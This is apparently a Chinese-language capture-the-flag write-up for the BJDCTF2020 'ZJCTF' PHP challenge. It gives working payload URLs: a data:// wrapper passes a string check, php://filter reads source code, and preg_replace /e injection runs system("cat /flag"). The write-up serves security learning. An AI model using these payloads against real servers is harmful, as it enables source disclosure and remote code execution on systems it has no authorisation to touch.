[BJDCTF2020]ZJCTF,不过如此

[BJDCTF2020]ZJCTF,不过如此

 

 

get传入两个参数text和file,text参数利用file_get_contents()函数只读形式打开,打开后内容要与"I have a dream"字符串相匹配,才能执行下面的文件包含$file参数。
看到用的是file_get_contents()函数打开text参数,以及后面的文件包含函数,自然的想到php伪协议中的data://协议

?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

[BJDCTF2020]ZJCTF,不过如此

 

 base64解码得到源码

深入研究preg_replace与代码执行

e模式的preg_replace,有一个远程代码执行漏洞。
思路是利用这个代码执行,执行源码中的getFlag()函数,在传入cmd参数,再利用getFlag中的eval()函数,再进行一个代码执行。

 

next.php?\S*=${getFlag()}&cmd=system("cat /flag");

 

 [BJDCTF2020]ZJCTF,不过如此

 

上一篇:记[BJDCTF2020]ZJCTF,不过如此 关于php的正则匹配问题


下一篇:NiZhuanSiWei-[ZJCTF 2019]-[PHP伪协议]-[传送门->BUUCTF]